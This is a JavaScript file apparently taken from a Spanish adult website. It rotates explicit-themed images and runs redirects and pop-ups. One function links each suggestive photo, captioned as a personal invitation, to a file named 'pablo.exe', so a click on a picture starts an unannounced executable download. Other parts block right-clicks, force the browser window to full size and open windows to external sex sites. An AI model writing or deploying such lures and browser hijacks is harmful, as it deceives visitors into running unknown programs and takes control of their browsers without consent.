function go_to(url) {
	window.location=url;
}
function fotos() {
	var a;
	a = 1+Math.round(Math.random()*6);   // a = random number between 1-6
	if (a==1) go_to("fotos1.htm");
	if (a==2) go_to("001.htm");
	if (a==3) go_to("fotos2.htm");
	if (a==4) go_to("002.htm");
	if (a==5) go_to("fotos3.htm");
	if (a==6) go_to("fotos4.htm");
}
//***************************************************
function images() {
	images = new Array(5);
	images[0] = "<img src='images/fot1.jpg' alt='Chicos ardientes esperándote...' border='0'>";
	images[1] = "<img src='images/fot2.jpg' alt='Vienes cariño?' border='0'>";
	images[2] = "<img src='images/fot3.jpg' alt='Estoy solo...' border='0'>";
	images[3] = "<img src='images/fot4.jpg' alt='Mira como me masturbo' border='0'>";
	images[4] = "<img src='images/fot5.jpg' alt='Te damos morbo?' border='0'>";
	index = Math.floor(Math.random() * images.length);
	document.write("" + images[index] + "");
}
//***************************************************
function chicos() {
	images = new Array(5);
	images[0] = "<a href = 'pablo.exe'><img src='images/chico1.jpg' alt='Juegas conmigo?' border='1'></a>";
	images[1] = "<a href = 'pablo.exe'><img src='images/chico2.jpg' alt='Vienes cariño?' border='1'></a>";
	images[2] = "<a href = 'pablo.exe'><img src='images/chico3.jpg' alt='Estoy sola...' border='1'></a>";
	images[3] = "<a href = 'pablo.exe'><img src='images/chico4.jpg' alt='Mira como me masturbo' border='1'></a>";
	images[4] = "<a href = 'pablo.exe'><img src='images/chico5.jpg' alt='Estoy sola...' border='1'></a>";
	index = Math.floor(Math.random() * images.length);
	document.write("" + images[index] + "");
}
//***************************************************
var message="             TAQUILLA XXX\n\nLa mejor Taquilla de Sexo de Internet";
function clickIE() {if (document.all) {alert(message);return false;}}
function clickNS(e) {if 
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {alert(message);return false;}}}
if (document.layers) 
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
//***************************************************
window.moveTo(0,0);
 
var ancho=screen.width;
 
if (ancho<800) {
alert ("La resolución de tu monitor es inferior a 800 x 600 pixels.\nPara navegar correctamente por TaquillaXXX.com,\ndeberías cambiarlo a ésta resolución o una mayor.");
}
 
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
 
else if (document.layers||document.getElementById) {
if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<screen.availWidth) {
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
 }
}
//***************************************************
var current = 0
var x = 0
var speed = 100
var speed2 = 100
function initArray(n) {
  this.length = n;
  for (var i =1; i <= n; i++) {
    this[i] = ' '
  }
}
typ = new initArray(4)
typ[0]="-- TAQUILLA GAY --"
typ[1]="La mejor Taquilla de Sexo Gay en Internet"
typ[2]="Todas las formas de ver sexo en tiempo real"
typ[3]="...porque el sexo es placer!"
function typewrite() {
var m = typ[current]
window.status = m.substring(0, x++) + "_"
if (x == m.length + 1) {
x = 0
current++
if (current > typ.length - 1) {
current = 0
}
setTimeout("typewrite()", speed2)
}
else {
setTimeout("typewrite()", speed)
}
}
typewrite()
//***************************************************
function cerrando()
{window.open("http://www.internetsexfactory.com/redir.php", "zoom2", "toolbar=0, location=0, directories=0, status=0, scrollbars=0, menubar=0");focus();}
//***************************************************
function rand()
{window.open("http://www.taquillaxxx.com/rand.php", "rand", "toolbar=0, location=0, directories=0, status=0, scrollbars=0, menubar=0");focus();}